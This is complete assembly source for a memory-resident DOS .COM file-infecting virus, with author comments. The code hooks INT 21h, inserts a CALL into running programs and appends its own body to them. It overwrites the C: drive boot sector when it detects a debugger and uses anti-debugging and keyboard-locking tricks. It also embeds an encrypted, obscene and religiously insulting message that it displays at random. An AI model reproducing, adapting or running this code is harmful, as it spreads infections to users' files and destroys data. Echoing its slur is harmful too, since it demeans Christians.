; Resident .COM midfile infector - 666 bytes - 02/2000 by T-2000/IR. ; Uses the INT 21h ISR to locate a suitable place to put the CALL_Virus. .286 .MODEL TINY .CODE Virus_Size EQU (End_Body-START) Virus_Size_Mem EQU (((End_Heap-START)+15)/16) START: PUSHF ; Save registers. PUSHA PUSH DS PUSH ES CALL Get_IP ; Encrypted with XOR 66h: ; "If Jesus was fucked to death, all xtians would be wearing tiny dildo's" ; (pardon my sense of humour :) Message DB 6Bh, 6Ch, 2Fh, 00h, 46h, 2Ch, 03h DB 15h, 13h, 15h, 46h, 11h, 07h, 15h DB 46h, 00h, 13h, 05h, 0Dh, 03h, 02h DB 46h, 12h, 09h, 46h, 02h, 03h, 07h DB 12h, 0Eh, 4Ah, 46h, 07h, 0Ah, 0Ah DB 46h, 1Eh, 12h, 0Fh, 07h, 08h, 15h DB 46h, 11h, 09h, 13h, 0Ah, 02h, 46h DB 04h, 03h, 46h, 11h, 03h, 07h, 14h DB 0Fh, 08h, 01h, 46h, 12h, 0Fh, 08h DB 1Fh, 46h, 02h, 0Fh, 0Ah, 02h, 09h DB 41h, 15h, 6Bh, 6Ch, 61h, 66h Get_IP: POP SI ; Calculate delta offset. SUB SI, (Message-START) MOV AH, 30h ; Get DOS version. INT 21h CMP AL, 4 ; We need DOS 4.xx or above. JB Restore_Host MOV AX, 2000h ; Virus residency check. INT 21h XCHG CX, AX ; Already up there? JCXZ Restore_Host ; Then abort further install. MOV AH, 43h ; Soft-Ice residency check. INT 68h CMP AX, 0F386h ; Active? JZ Trash_Boot ; (This works in Win32 aswell tho you have to encapsulate it ; with a SEH as the INT 68h will GPF if Soft-Ice ain't loaded). Alloc_Memory: XOR CX, CX Alloc_Block: MOV AH, 48h ; Attempt to allocate memory. MOV BX, Virus_Size_Mem INT 21h JNC Init_Block DEC CX ; CX = -1 JNP Restore_Host ; Endless loop? MOV AH, 4Ah ; Get blocksize of ES. MOV BX, CX INT 21h MOV AH, 4Ah ; Create room for the virus. SUB BX, Virus_Size_Mem+1 INT 21h JNC Alloc_Block JMP Restore_Host ; And attempt allocation. Init_Block: MOV ES, AX ; ES = allocated block. DEC AX ; DS = MCB allocated block. MOV DS, AX XOR DI, DI MOV WORD PTR DS:[DI+1], 8 ; Disguise block as system. MOV CX, (Virus_Size/2) ; Copy viruscode up there. SEGCS REP MOVSW PUSH ES MOV AX, 3521h ; Get INT 21h. INT 21h PUSH ES POP DS MOV AX, 2566h ; Revector it to INT 66h. MOV DX, BX INT 21h POP DS MOV Busy_Switch, CL ; Clear busy flag. MOV AL, 21h ; Hook INT 21h. MOV DX, OFFSET New_Int21h INT 21h Restore_Host: PUSH SS ; So we can STOS to SS. POP ES MOV BP, SP ; Setup stack pointer. MOV DI, [BP+(11*2)] ; CALL_Virus return address. SUB DI, 3 ; Offset of CALL_Virus. MOV [BP+(11*2)], DI ; Re-execute it later. MOV AL, NOT 0C3h ; Encrypted original byte. Host_Byte = BYTE PTR $-1 NOT AL ; Decrypt byte. STOSB ; Restore byte in memory. MOV AX, 9090h-1 ; Encrypted original word. Host_Word = WORD PTR $-2 INC AX ; Decrypt word. STOSW ; Restore word in memory. POP ES ; Restore original registers. POP DS POPA POPF RETN ; And re-execute, fixed code. Trash_Boot: MOV AL, 2 ; Trash the bootsector of C:. MOV CX, 1 XOR DX, DX SEGCS ; Stupid anti-TBClean trick. INT 26h INT 19h ; Reboot the system. New_Int21h: CMP AX, 2000h ; Virus residency call. JNE Check_Exit CBW ; AX = 0. IRET ; And return. Check_Exit: PUSHA ; Save all regs. PUSH DS PUSH ES OR AH, AH ; Program terminate? JZ Check_Timer CMP AH, 4Ch ; Program terminate? JNE Check_Debugger Check_Timer: IN AX, 40h ; Get a random value. ADD AL, AH ; 1/256 chance of displaying JNZ Check_Debugger ; text message. MOV AH, 0Eh MOV SI, OFFSET Message Display_Char: SEGCS ; Fetch next encrypted byte. LODSB XOR AL, 66h ; Displayed all so far? JZ Check_Debugger ; Then bail. INT 10h ; BIOS display character. JMP Display_Char ; Go on. Check_Debugger: XOR DI, DI MOV DS, DI ; Get 1st instruction of LDS SI, DS:[DI+(01h*4)] ; INT 01h. LODSB MOV AH, AL ; Save it in AH. MOV DS, DI ; Get 1st instruction of LDS SI, DS:[DI+(03h*4)] ; INT 03h. LODSB XOR AX, 0CFCFh ; if they're not IRET then JNZ Trash_Boot ; a debugger has hooked them. Check_Caller: INT 01h ; Annoying break. JMP $ ; Bail if we're busy already. Busy_Switch = BYTE PTR $-1 INC CS:Int_Count ; Only examine INTs randomly JS Exit_ISR ; to prevent slowdowns. JP Exit_ISR MOV BP, SP MOV DS, [BP+(11*2)] ; DS = CS of calling INT 21h. XCHG SI, AX ; SI = 0. CMP DS:[SI], 20CDh ; Verify it's a .COM-PSP. JNE Exit_ISR ; Set the busy flag so we don't get interrupted. MOV CS:Busy_Switch, (Exit_ISR-Busy_Switch)-1 MOV AH, 62h ; Get current PSP. INT 66h CMP BX, [BP+(11*2)] ; Caller's CS == PSP ? JNE Clear_Busy ; Else it ain't no .COM. IN AX, 40h ; Get a random number. ADD AL, AH CMP AL, 150 ; Infect the program here? JNB Clear_Busy ; Nope, maybe next time. MOV DS, DS:[SI+2Ch] ; .COM's environment block. Scan_For_Name: LODSW ; Scan for the end of all DEC SI ; settings, after which ; the full path to the OR AX, AX ; currently executing program JNZ Scan_For_Name ; resides. CALL Infect_File Clear_Busy: AND CS:Busy_Switch, 0 ; Open for business again.. Exit_ISR: POP ES ; Restore the regs. POP DS POPA Do_Old_Int21h: INT 66h ; Call the original INT 21h. RETF 2 ; And return with new flags. Seek_EOF: MOV AX, 4202h ; Seek to the end of file. XOR CX, CX CWD INT 66h DB 0CDh, 03h ; Annoying break. Do_RETN: RETN Infect_File: MOV AX, 4300h ; Get file's attributes. LEA DX, [SI+3] INT 66h JC Do_RETN IN AL, 21h ; Lock the keyboard. OR AL, 00000010b OUT 21h, AL INT 01h ; Hang the possible debugger. PUSH DS ; Save path and attributes. PUSH DX PUSH CX AND CL, 00000110b ; Leave system & hidden files JZ Clear_Readonly ; alone (and clear r/o bit). JMP_Nop_Attr: JMP Nop_Attr_Rest ; Fix stack but don't restore ; attributes. Clear_Readonly: MOV AX, 4301h ; Clear possible r/o bit. INT 66h JC JMP_Nop_Attr MOV AX, 3D02h ; Open file for read/write. INT 66h JNC Save_Handle JMP Restore_Attr Save_Handle: XCHG BX, AX ; Save filehandle in BX. PUSH CS POP DS MOV SI, OFFSET Header MOV AH, 3Fh ; Read first 4 bytes of .COM. MOV CL, 4 MOV DX, SI INT 66h JNC Verify_Read JMP_Close_File: JMP Close_File Verify_Read: CMP AX, CX ; All 4 bytes we're read? JNE JMP_Close_File CALL Seek_EOF ; Get filesize. DEC DX ; .COM is over 64k ? JNS JMP_Close_File ; Then bail, obviously. CMP AX, (63*1024) ; .COM is too big? JA JMP_Close_File CMP AX, (4*1024) ; Or too small? JB JMP_Close_File INC WORD PTR [SI+2] ; Don't infect .SYS-files. JZ JMP_Close_File CMP [SI], 'ZM'+1 ; Ditto for .EXE-files. JE JMP_Close_File CMP [SI], 'MZ'+1 JE JMP_Close_File MOV AX, 4202h ; Seek to the last 7 bytes DEC CX ; of the .COM-file, this MOV DL, -7 ; is where the possible INT 66h ; ENUNS-string is located. ; My Win98 .COM-files have the ENUNS changed to NLDNS, so just ; checking for ENUNS would not work with these. Just treath every ; .COM-file as a ENUNS protected file and you're all set. MOV AH, 3Fh MOV CX, 7 MOV DX, OFFSET Checksum_ID INT 66h ; Adjust the file's checksum. ADD Checksum_Word, Virus_Size CALL Seek_EOF LES DI, [BP+(2*10)] ; ES:DI = CS:IP of the next ; instruction in the target. MOV DX, DI DEC DH ; Minus PSP (100h). CMP DX, AX ; IP points into the image? JNB JMP_Close_File ; Else bail out. SUB AX, DX ; Calculate displacement. SUB AX, 3 MOV BP, OFFSET CALL_Virus MOV CS:[BP+1], AX ; CALL_Virus displacement. PUSH DX MOV AX, 4200h ; Seek to the insert offset. XOR CX, CX INT 66h MOV SI, OFFSET Header MOV AH, 3Fh ; Read the original bytes. MOV CL, 3 MOV DX, SI INT 66h POP DX CMPSB ; Code in memory is the same JNE Close_File ; as on disk? CMPSW ; This avoids infecting JNE Close_File ; packed files, etc. SUB SI, 3 LODSB ; Get 1st byte, encrypt and NOT AL ; save it. MOV Host_Byte, AL LODSW ; Do the same with the next DEC AX ; word. MOV Host_Word, AX MOV AX, 4200h ; Seek to the insert offset XOR CX, CX ; again. INT 66h MOV AX, 5700h ; Get file's date & time. INT 66h JC Close_File MOV AL, CL ; Mask-out seconds. AND AL, 00011111b CMP AL, (6/2) ; 6 seconds (infected) ? JE Close_File ; Then abort. XCHG CX, AX ; Put CX in AX. AND AL, 11100000b ; Clear seconds field. OR AL, (6/2) ; Set 6 seconds. PUSH AX ; Save the file date & time PUSH DX ; on the stack for later. MOV AH, 40h ; Write the CALL_Virus into MOV CX, 3 ; the file. MOV DX, BP INT 66h JC Restore_Date CALL Seek_EOF MOV AH, 40h ; Append virusbody to the MOV CX, Virus_Size ; target file. (DX=0). INT 66h Restore_Date: MOV AX, 5701h ; Restore file date & time. POP DX POP CX INT 66h Close_File: MOV AH, 3Eh ; Close the file. INT 66h Restore_Attr: MOV AX, 4301h ; Restore file's attributes. CMP AX, 0 ORG $-2 Nop_Attr_Rest: MOV AH, 19h ; Nop (get current drive). POP CX POP DX POP DS INT 66h Exit_Infect: CMP AX, 545Bh ; Executable text string, XOR CH, [BX] ; '=[T2/IR]='. Very effective DEC CX ; against lame text patching. PUSH DX POP BP CMP AX, 0DEADh IN AL, 21h ; Reverse state of keyboard, XOR AL, 00000010b ; it'll lock if a debugger OUT 21h, AL ; has skipped the 1st lock. INT 03h ; Hang the possible debugger. RETN CALL_Virus DB 0E8h ; CALL opcode. DW 0 Checksum_ID DB 5 DUP(0) ; Usually 'ENUNS'. Checksum_Word DW 666 ; Checksum itself. End_Body: Int_Count DB 0 Header DB 4 DUP(0) End_Heap: ; So it's lame.. a lame virus for a lame person.. ; Haven't bothered optimizing the code structure to ; the max, no time nor desire, sorry.. Remember, this ; is just a demonstration virus.... ; Amen. END START